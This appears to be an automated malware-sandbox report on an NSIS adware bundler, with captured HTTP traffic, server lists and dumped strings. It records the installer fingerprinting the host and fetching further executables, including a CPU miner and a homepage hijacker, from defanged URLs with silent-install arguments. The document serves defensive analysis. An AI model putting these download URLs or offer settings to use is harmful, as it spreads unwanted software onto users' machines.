{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:45 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 187

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://VVV.software-forus.com/CPUminer/v6/Bundle_CPUminer.exe&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:46 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:46 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:49 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 199

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://dl.taxideataxus.com/download/dwn/prq4633/este/re/setup_gmsd_re.exe&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:45:59 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:45:59 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 212

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1723\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://dl.taxideataxus.com/download/dwn/prq4633/este/re/setup_gmsd_re.exe&errorlevel=0&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:46:12 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:46:12 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}....

POST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

Content-Length: 170

Connection: Keep-Alive

Cache-Control: no-cache

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d10huri5h4o4a3.cloudfront.net/smt.exe&v=2\"}"}

HTTP/1.1 200 OK

Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Access-Control-Allow-Origin: *

Content-Type: text/html; charset=utf-8

Date: Wed, 23 Sep 2015 14:46:12 GMT

X-Powered-By: Express

Content-Length: 15

Connection: keep-alive

{"Status":"OK"}HTTP/1.1 200 OK..Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept..Access-Control-Allow-Origin: *..Content-Type: text/html; charset=utf-8..Date: Wed, 23 Sep 2015 14:46:12 GMT..X-Powered-By: Express..Content-Length: 15..Connection: keep-alive..{"Status":"OK"}..

GET /binsis/get_pre_offering_checks?uid=0935018A1F474F0AA5C4C276D894F821&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=vuupcntmb&sid=vuupculwo&s=0 HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: d3oxtn1x3b8d7i.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: text/xml; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Wed, 23 Sep 2015 14:46:15 GMT

Expires: Wed, 23 Sep 2015 11:59:35 GMT

Cache-Control: no-cache

Vary: Accept-Encoding

X-Cache: Miss from cloudfront

Via: 1.1 7ab285f149f01a2b05c04a9ee64a602f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IlRn1iI8yNkg7CAhLe0YKafcVT2a032wv4FX1FIy-qDhiFBwI7HL-Q==

86b8..<?xml version="1.0"?>.<pre_offering_checks><check type="registry" return_name="check_4" return_value_type="boolean"><value_to_check><key>HKCU\Software\Somoto\SDP</key><name>uid</name></value_to_check></check><check type="registry" return_name="check_586" return_value_type="boolean"><value_to_check><key>HKCU\Software\WebPlayer</key><name>AppsHat</name></value_to_check></check><check type="registry" return_name="check_1842" return_value_type="boolean"><value_to_check><key>HKCU\Software\WebPlayer\AppsHat</key><name>version</name></value_to_check></check><check type="registry" return_name="check_2182" return_value_type="boolean"><value_to_check><key>HKLM\SOFTWARE\Goobzo\YouTube Accelerator</key><name>version</name></value_to_check></check><check type="registry" return_name="check_2246" return_value_type="boolean"><value_to_check><key>HKLM\SOFTWARE\YTDownloader</key><name>version</name></value_to_check></check><check type="registry" return_name="check_2450" return_value_type="boolean"><value_to_check><key>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\HotspotShield</key><name>DisplayName</name></value_to_check></check><check type="registry" return_name="check_3850" return_value_type="boolean"><val

<<< skipped >>>

POST /binsis/xml?uid=0935018A1F474F0AA5C4C276D894F821&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=vuupcntmb&sid=vuupculwo&s=0 HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Filename: nsd38.tmp

User-Agent: NSIS_Inetc (Mozilla)

Host: d3oxtn1x3b8d7i.cloudfront.net

Content-Length: 8804

Connection: Keep-Alive

Cache-Control: no-cache

installer_data={"uid":"0935018A1F474F0AA5C4C276D894F821","muid":"9e10bdd7664ab688d1d7f2ab0b148110","affid":"vuupcntmb","sid":"vuupculwo","installerVersion":"2.2.2","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512","ff_installed":"0","ff_version":"","ff_default_homepage":"not_found","ff_is_default":"0","ie_installed":"1","ie_version":"6.0.2900.5512","ie_default_homepage":"about:blank","ie_is_default":"0","chrome_installed":"0","chrome_version":"","chrome_default_homepage":"not_found","chrome_is_default":"0","opera_installed":"0","opera_version":"","opera_default_homepage":"not_found","opera_is_default":"0","safari_installed":"0","safari_version":"","safari_default_homepage":"not_found","safari_is_default":"0","check_4":"false","check_586":"false","check_1842":"false","check_2182":"false","check_2246":"false","check_2450":"false","check_3850":"false","check_1282":"false","check_1284":"false","check_1522":"false","check_1592":"false","check_1634":"false","check_1788":"false","check_1790":"false

HTTP/1.1 200 OK

Content-Type: text/xml; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Wed, 23 Sep 2015 14:46:22 GMT

Vary: Accept-Encoding

Expires: Wed, 23 Sep 2015 11:59:42 GMT

Cache-Control: no-cache

X-Cache: Miss from cloudfront

Via: 1.1 7ab285f149f01a2b05c04a9ee64a602f.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 3jxHjyquO_fF9KCq5fQkbbLoGIbDAI9abE9qj7UF-NDUsL53YbzOxA==

1778..<?xml version="1.0" encoding="windows-1252"?>.<sponsored_data><downloader><url>hXXp://sub.spirlymo.com/installers/bi_downloader/1443013514595/setup.exe</url><downloadOnInit>1</downloadOnInit><args>/silent /initurl hXXp://sub.yorkshatb.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="¯filiateID%" -muid="%MUID%"</args></downloader><offers><offer id="istartsurf"><remote_resources/><downloader><args>_!delimiter!_ -offerId="%OfferID%" -softwareName="Istartsurf"</args></downloader><title>Special Offer</title><sub_title>To go along with your Vuupc</sub_title><download_url>hXXp://d2drfrdurj6mvo.cloudfront.net/liyan/smt_istartsurf.exe</download_url><execution_arguments>-silence -ptid=smt</execution_arguments><options><option type="v_space" height="5"/><option type="text" width="100"><id>descriptionElement</id><text><decor type="text">Make Istartsurf my browser homepage, default search and new tab</decor></text></option><option type="v_space" height="5"/><option type="text" width="100"><id>footerElement</id><text><decor type="text">By clicking Next you are agreeing to Istartsurf</decor><decor type="link" href="hXXp://VVV.istartsurf.com/license_agreement.html">Terms of Use</decor><decor type="text">and</decor><de

<<< skipped >>>

GET /crossbrowse/ie/107/ie.zip.001 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: zip.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:45:44 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1441008912"

Last-Modified: Mon, 31 Aug 2015 08:15:12 GMT

Cache-Control: max-age=69471

Content-Length: 8244985

Content-Type: text/plain; charset=UTF-8

X-HW: 1443019545.dop001.fr7.t,1443019544.cds027.fr7.c

PK........l..G...nd.T.d.T.....chrome.packed.7z7z..'.....T...T.............*..F......8%D.cT(g.....,r...E^<5....S$<....Z..*...7&.o.,.a&......%...1..5...m...h..=w.|.a.a.Q.{.<..:..9Q,>n...k.....~..aJ.._...KD.V...7.>..3....d......)..6.H..RN...:.....FU.!..j...9....L.&.2.a........ .E.s'T.......vD.z)..}..-.. .&.vF}.$.z.......lw.>..!...'.a..|...L....09E..Y8^.s.O\..C..%.......d.VD....W..d.'..6%...l.7Gk.<..I...5...d !......wT...d...H..7v.E.......{.p.]`.......~w84.rj......;...).q.k..G...........zL...{....>.."........"q..k[.f...F{8...s..c>[69..|...q].(.S..~..1z..>.!AT&i.}....YJ....\i....o..(...4.5.......h|.......6.!...4.p[....@.m.. ^&...A..&E..V.]...T=.v]W.l=A=y.T....R.'f.....60..MR...k...c.1."..jw.7C.N...b....@...@....%..%*!5............iW*y..*......E...D....6....3.P....2.....} .'..!...cG.m...Z.]%{.QZ./e.V-C.a.X.aQ?.....S..1...:.T..C*..hKH....(...aH.r..;..^.l.ikR.X..8..._...^T{B@..'.tga.3."..<. ...........$c9......... .~)/..%.2{...X&.W.....>...bh.L.....U.-.Vf......r..d..9. ..k.'.M...J...v...rU..`3...SWX...G1.`....{.....8.~..x..Q...g.._...1.9.......f8..#p..............]...E.(....J....(H.h..6@'.hc.5....}.1>{..6/.R.....(X.k.<....\.....:p...u..L.....h...K...vaK./.O........'|...8..2...{..9....."&.......Z..K.eJ..4e..)v..[...J$.e........5.G......X..@.o.^Y...%....._.n.:...\......H...0,.f.E...*M.F.f.R.lJ*,...S.....FE*'b.#V.@........a=._.....W... .}.....p.~..(>.....E.1k....3k....F..[.T...,N...............Y7.......G[....rH).E......[.5..K..Q..J#8.-.@.]<eh........2a.c.8...Z....O.....z..2c

<<< skipped >>>

GET /crossbrowse/ie/107/ie.zip.005 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

Host: zip.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Wed, 23 Sep 2015 14:45:45 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1441008913"

Last-Modified: Mon, 31 Aug 2015 08:15:13 GMT

Cache-Control: max-age=69450

Content-Length: 8244985

Content-Type: text/plain; charset=UTF-8

X-HW: 1443019545.dop003.fr7.t,1443019545.cds036.fr7.c

[..Wa<.3.......Y.}S.Q)|.x.P..r._ip`...h.r...@..k.....8..o.D_C.0.h..M...gv......J..g.....a.4..~....A.Y.. .u:7..... i...$.....p...ORP.P... ....._.@......?.F.....8.@..l....{n...XGi......2..........FOqM..N_.}...S*he.I.q.. ..V...=.E....1....M.S.......f3%.?.....Ug.\.}...I..g..w..[....t..yR..DJ3.;.;W...._.....y.:..XZ<..40a.I..A...vUW..,...u"......>..*.....@D...YX.4.......v]...T.$..T.1...2.X..o.X....@.%...n.LL....-..A...n.......uq<.r$..t`M.:c9C..l./....}2.......{.O...7............;...M..x...rwqL.\.. ..b.........*f!..S|..*g...'dl..........eN..km...:.6.....s....n.5..0_r8 D.W...".S/%r.rU..c.......C.v5..C...3..z....\.B.-a..r......|..G..W.....2h..>jSy....Z.........tE...T....R.2...p..Q>...f.fj.#.Z.l....7..h.....>...-..K...<....?....B..........,.....$..~........^..V...Uq.672kCC......i....J....*...K.......0..14....{.Wwf".K.p....;.6.H."6y.q.E~. i.`...hN.....d../\A....hY.$!}3..7.*&.n......Z...Q>W.......`0.q..M..A@*.Y 0..7l"m......0...4..X2.|.C2j.[..K...gu...?.a..s.B.kX......j.t...B@|d.l._.zZ.. ."D(..PD..l?.%..w.....).v,v9m...w........G..C.SU.l7*JlW.....56.....v..{............G..3..0....R......Y.h,u..k.'.....$..&.[.9.. 8..1..DZF....n......l_.......*.R...Q$.3.q\..'...]...k..*..0....^#.|A.v...K...........T.Q.#...^e.c....V\..ysD.Ai^.ly..P.~..lreD.g_.Q.....i..kS.R...f..=9.9..q=D."......-N...C.....%.-..u.....<.qj..:..s......:>.I`.PJ..vQ.K.....o.)qew.K.G....w.....tJ.a4...L.[.......0.0#.),......7....J}*..^`w..Q.h...~e..Ql..*..|}...K.Z.*..'.....|..rp.@_.b..!..R.%....%..m"....W9..$ 1.......VZ..''.1,|..V...

<<< skipped >>>

GET /installer.gif?action=started&ibic=c34de9db4800cc5c07ea55982373e9fd&verifier=394e163cb9e37b27c10848a9a1e45ae5&os=XP32&chver=X&ffver=X&iever=6&app=12345&srcid=003266&default=ie&ver=107&crtnm=OralTeams&rnd=7900 HTTP/1.1

Accept: */*

Host: mystats.rgbdomsrv.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

x-amz-id-2: xADMoDMJhqOe8NeucMtqBdnuniNBGZBxq8VTTQHozVDXRfUyXX6f2OOqld pGV0v1bcs7guygP0=

x-amz-request-id: B610C6DCFEB96A4D

Date: Wed, 23 Sep 2015 14:45:45 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 17 Jun 2015 13:20:41 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: xADMoDMJhqOe8NeucMtqBdnuniNBGZBxq8VTTQHozVDXRfUyXX6f2OOqld pGV0v1bcs7guygP0=..x-amz-request-id: B610C6DCFEB96A4D..Date: Wed, 23 Sep 2015 14:45:45 GMT..Expires: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalidate..Last-Modified: Wed, 17 Jun 2015 13:20:41 GMT..ETag: "28d6814f309ea289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Server: AmazonS3..GIF89a.............,...........D..;..

Map

The SpyTool connects to the servers at the folowing location(s):

Strings from Dumps

nsjA.tmp_1028:

.text

.text

`.rdata

`.rdata

@.data

@.data

.ndata

.ndata

.rsrc

.rsrc

uDSSh

uDSSh

.DEFAULT\Control Panel\International

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

GetWindowsDirectoryA

KERNEL32.dll

KERNEL32.dll

ExitWindowsEx

ExitWindowsEx

USER32.dll

USER32.dll

GDI32.dll

GDI32.dll

SHFileOperationA

SHFileOperationA

ShellExecuteA

ShellExecuteA

SHELL32.dll

SHELL32.dll

RegEnumKeyA

RegEnumKeyA

RegCreateKeyExA

RegCreateKeyExA

RegCloseKey

RegCloseKey

RegDeleteKeyA

RegDeleteKeyA

RegOpenKeyExA

RegOpenKeyExA

ADVAPI32.dll

ADVAPI32.dll

COMCTL32.dll

COMCTL32.dll

ole32.dll

ole32.dll

VERSION.dll

VERSION.dll

verifying installer: %d%%

verifying installer: %d%%

unpacking data: %d%%

unpacking data: %d%%

... %d%%

... %d%%

hXXp://nsis.sf.net/NSIS_Error

hXXp://nsis.sf.net/NSIS_Error

~nsu.tmp

~nsu.tmp

%u.%u%s%s

%u.%u%s%s

RegDeleteKeyExA

RegDeleteKeyExA

%s=%s

%s=%s

*?|/":

*?|/":

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm34.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm34.tmp

360TotalSecurity.exe

360TotalSecurity.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz10.tmp\inetc.dll

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz10.tmp\inetc.dll

hXXp://d10huri5h4o4a3.cloudfront.net/smt.exe

hXXp://d10huri5h4o4a3.cloudfront.net/smt.exe

33/este/re/setup_gmsd_re.exe&errorlevel=0

33/este/re/setup_gmsd_re.exe&errorlevel=0

hXXp://download-servers.com/partners/360/360TotalSecurity.exe

hXXp://download-servers.com/partners/360/360TotalSecurity.exe

u.Uj@

u.Uj@

MSVCRT.dll

MSVCRT.dll

HttpSendRequestA

HttpSendRequestA

HttpSendRequestExA

HttpSendRequestExA

HttpQueryInfoA

HttpQueryInfoA

FtpCreateDirectoryA

FtpCreateDirectoryA

FtpOpenFileA

FtpOpenFileA

HttpOpenRequestA

HttpOpenRequestA

HttpAddRequestHeadersA

HttpAddRequestHeadersA

HttpEndRequestA

HttpEndRequestA

InternetCrackUrlA

InternetCrackUrlA

WININET.dll

WININET.dll

inetc.dll

inetc.dll

Open URL Error

Open URL Error

URL Parts Error

URL Parts Error

FtpCreateDir failed (550)

FtpCreateDir failed (550)

Error FTP path (550)

Error FTP path (550)

Downloading %s

Downloading %s

%dkB (%d%%) of %dkB @ %d.dkB/s

%dkB (%d%%) of %dkB @ %d.dkB/s

(%d %s%s remaining)

(%d %s%s remaining)

REST %d

REST %d

SIZE %s

SIZE %s

Content-Length: %d

Content-Length: %d

Content-Type: application/x-www-form-urlencoded

Content-Type: application/x-www-form-urlencoded

Authorization: basic %s

Authorization: basic %s

Proxy-authorization: basic %s

Proxy-authorization: basic %s

%s:%s

%s:%s

FtpCommandA

FtpCommandA

wininet.dll

wininet.dll

%u MB

%u MB

%u kB

%u kB

%u bytes

%u bytes

%d:d:d

%d:d:d

%s - %s

%s - %s

(Err=%d)

(Err=%d)

NSIS_Inetc (Mozilla)

NSIS_Inetc (Mozilla)

Filename: %s

Filename: %s

/password

/password

Uploading %s

Uploading %s

8!8-8B8I8}8

8!8-8B8I8}8

@.reloc

@.reloc

S.NH^

S.NH^

pq.ucy

pq.ucy

UX.ei

UX.ei

%xsdA

%xsdA

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsd35.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsd35.tmp

nsd35.tmp

nsd35.tmp

://livestatscounter.com/Generic/vos.php?ch=

://livestatscounter.com/Generic/vos.php?ch=

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsjA.tmp /idn

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsjA.tmp /idn

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm34.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsm34.tmp

Uninstall.exe

Uninstall.exe

n.php?r=vu_vo2_

n.php?r=vu_vo2_

d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe

d2fpsq9kg43yka.cloudfront.net/cmmdWriter.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsjA.tmp /idn

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsjA.tmp /idn

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp

nsjA.tmp

nsjA.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsuE.tmp

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsuE.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz10.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsz10.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsjA.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsjA.tmp

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d10huri5h4o4a3.cloudfront.net/smt.exe&v=2\"}"}

{"table": "event_has_user","data": "{\"event_event_id\": \"1722\",\"channel_id\": \"NOCHPC\", \"utm_addition\":\"url=hXXp://d10huri5h4o4a3.cloudfront.net/smt.exe&v=2\"}"}

e/setup_gmsd_re.exe&errorlevel=0&v=2\"}"}

e/setup_gmsd_re.exe&errorlevel=0&v=2\"}"}

hXXp://ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

hXXp://ibf-cmi-1938953175.us-east-1.elb.amazonaws.com

url=hXXp://d10huri5h4o4a3.cloudfront.net/smt.exe

url=hXXp://d10huri5h4o4a3.cloudfront.net/smt.exe

/este/re/setup_gmsd_re.exe

/este/re/setup_gmsd_re.exe

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsw13.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsw13.tmp

dlgen.php?r=vu_vo2_

dlgen.php?r=vu_vo2_

)-.Yln

)-.Yln

Nullsoft Install System v2.46

Nullsoft Install System v2.46

1.0.0.1

1.0.0.1

upgmsd_re_005010095.exe_436:

.text

.text

`.rdata

`.rdata

@.data

@.data

.rsrc

.rsrc

@.reloc

@.reloc

RSSSSSSh

RSSSSSSh

QSShh

QSShh

tFHt:Ht.Ht"Hu`

tFHt:Ht.Ht"Hu`

SSSShp

SSSShp

SSSSh

SSSSh

u$SShe

u$SShe

tWSShW

tWSShW

tl9_ tgSSh

tl9_ tgSSh

t'SShl

t'SShl

SSSShxjn

SSSShxjn

j%XtL9E

j%XtL9E

FtPW

FtPW

SSh@B

SSh@B

u.SSh

u.SSh

tsSSh

tsSSh

FTCP

FTCP

t.WWWSP

t.WWWSP

tAHt.HHt

tAHt.HHt

FTPS

FTPS

u)SShF

u)SShF

s%j.Zf

s%j.Zf

xSSSh

xSSSh

FTPjKS

FTPjKS

FtPj;S

FtPj;S

C.PjRV

C.PjRV

operand of unlimited repeat could match the empty string

operand of unlimited repeat could match the empty string

POSIX named classes are supported only within a class

POSIX named classes are supported only within a class

erroffset passed as NULL

erroffset passed as NULL

POSIX collating elements are not supported

POSIX collating elements are not supported

this version of PCRE is not compiled with PCRE_UTF8 support

this version of PCRE is not compiled with PCRE_UTF8 support

PCRE does not support \L, \l, \N, \U, or \u

PCRE does not support \L, \l, \N, \U, or \u

support for \P, \p, and \X has not been compiled

support for \P, \p, and \X has not been compiled

(*VERB) with an argument is not supported

(*VERB) with an argument is not supported

!"#$%&'((()* ,-./01

!"#$%&'((()* ,-./01

CNotSupportedException

CNotSupportedException

CCmdTarget

CCmdTarget

RegOpenKeyTransactedW

RegOpenKeyTransactedW

RegCreateKeyTransactedW

RegCreateKeyTransactedW

RegDeleteKeyTransactedW

RegDeleteKeyTransactedW

CFtpFileFind

CFtpFileFind

CHttpConnection

CHttpConnection

CFtpConnection

CFtpConnection

CHttpFile

CHttpFile

RegDeleteKeyExW

RegDeleteKeyExW

TaskDialogIndirect

TaskDialogIndirect

CMDITabProxyWnd

CMDITabProxyWnd

CMDIChildWndEx

CMDIChildWndEx

CMDIFrameWndEx

CMDIFrameWndEx

CMDIChildWnd

CMDIChildWnd

CMDIFrameWnd

CMDIFrameWnd

CMDIClientAreaWnd

CMDIClientAreaWnd

CHotKeyCtrl

CHotKeyCtrl

CMFCToolBarsKeyboardPropertyPage

CMFCToolBarsKeyboardPropertyPage

GetProcessWindowStation

GetProcessWindowStation

operator

operator

portuguese-brazilian

portuguese-brazilian

qR.Rd

qR.Rd

Visual C CRT: Not enough memory to complete call to strerror.

Visual C CRT: Not enough memory to complete call to strerror.

Broken pipe

Broken pipe

Inappropriate I/O control operation

Inappropriate I/O control operation

Operation not permitted

Operation not permitted

%%X

%%X

RegSetKeySecurity error! (rc=%lu)

RegSetKeySecurity error! (rc=%lu)

Key not found.

Key not found.

Error opening key.

Error opening key.

ntdll.dll

ntdll.dll

?456789:;

?456789:;

!"#$%&'()* ,-./0123

!"#$%&'()* ,-./0123

LookupPrivilegeValue error: %u

LookupPrivilegeValue error: %u

Error %d: Could not begin update of %s

Error %d: Could not begin update of %s

Error %d: Updating resource

Error %d: Updating resource

!"#$%&'()* ,-./:;?@[\]^_`{|}~

!"#$%&'()* ,-./:;?@[\]^_`{|}~

C:\appbuilder_2.0_multiinstall\Release\temp.pdb

C:\appbuilder_2.0_multiinstall\Release\temp.pdb

IPHLPAPI.DLL

IPHLPAPI.DLL

PSAPI.DLL

PSAPI.DLL

GetProcessHeap

GetProcessHeap

GetWindowsDirectoryW

GetWindowsDirectoryW

GetCPInfo

GetCPInfo

KERNEL32.dll

KERNEL32.dll

GetKeyState

GetKeyState

SetWindowsHookExW

SetWindowsHookExW

CreateDialogIndirectParamW

CreateDialogIndirectParamW

UnhookWindowsHookEx

UnhookWindowsHookEx

MsgWaitForMultipleObjectsEx

MsgWaitForMultipleObjectsEx

GetAsyncKeyState

GetAsyncKeyState

MapVirtualKeyW

MapVirtualKeyW

GetKeyboardLayout

GetKeyboardLayout

GetKeyboardState

GetKeyboardState

GetKeyNameTextW

GetKeyNameTextW

MapVirtualKeyExW

MapVirtualKeyExW

EnumChildWindows

EnumChildWindows

USER32.dll

USER32.dll

GetViewportExtEx

GetViewportExtEx

SetViewportOrgEx

SetViewportOrgEx

OffsetViewportOrgEx

OffsetViewportOrgEx

SetViewportExtEx

SetViewportExtEx

ScaleViewportExtEx

ScaleViewportExtEx

GetViewportOrgEx

GetViewportOrgEx

GDI32.dll

GDI32.dll

MSIMG32.dll

MSIMG32.dll

COMDLG32.dll

COMDLG32.dll

WINSPOOL.DRV

WINSPOOL.DRV

RegLoadKeyW

RegLoadKeyW

RegUnLoadKeyW

RegUnLoadKeyW

RegOpenKeyExW

RegOpenKeyExW

RegCloseKey

RegCloseKey

RegCreateKeyExW

RegCreateKeyExW

RegSetKeySecurity

RegSetKeySecurity

RegDeleteKeyW

RegDeleteKeyW

RegEnumKeyExW

RegEnumKeyExW

RegQueryInfoKeyW

RegQueryInfoKeyW

RegEnumKeyW

RegEnumKeyW

ADVAPI32.dll

ADVAPI32.dll

ShellExecuteW

ShellExecuteW

ShellExecuteExW

ShellExecuteExW

SHELL32.dll

SHELL32.dll

COMCTL32.dll

COMCTL32.dll

UrlUnescapeW

UrlUnescapeW

SHLWAPI.dll

SHLWAPI.dll

ole32.dll

ole32.dll

OLEAUT32.dll

OLEAUT32.dll

oledlg.dll

oledlg.dll

OLEACC.dll

OLEACC.dll

InternetCrackUrlW

InternetCrackUrlW

HttpOpenRequestW

HttpOpenRequestW

HttpSendRequestW

HttpSendRequestW

HttpQueryInfoW

HttpQueryInfoW

InternetCanonicalizeUrlW

InternetCanonicalizeUrlW

FtpDeleteFileW

FtpDeleteFileW

FtpRenameFileW

FtpRenameFileW

FtpCreateDirectoryW

FtpCreateDirectoryW

FtpRemoveDirectoryW

FtpRemoveDirectoryW

FtpSetCurrentDirectoryW

FtpSetCurrentDirectoryW

FtpGetCurrentDirectoryW

FtpGetCurrentDirectoryW

FtpPutFileW

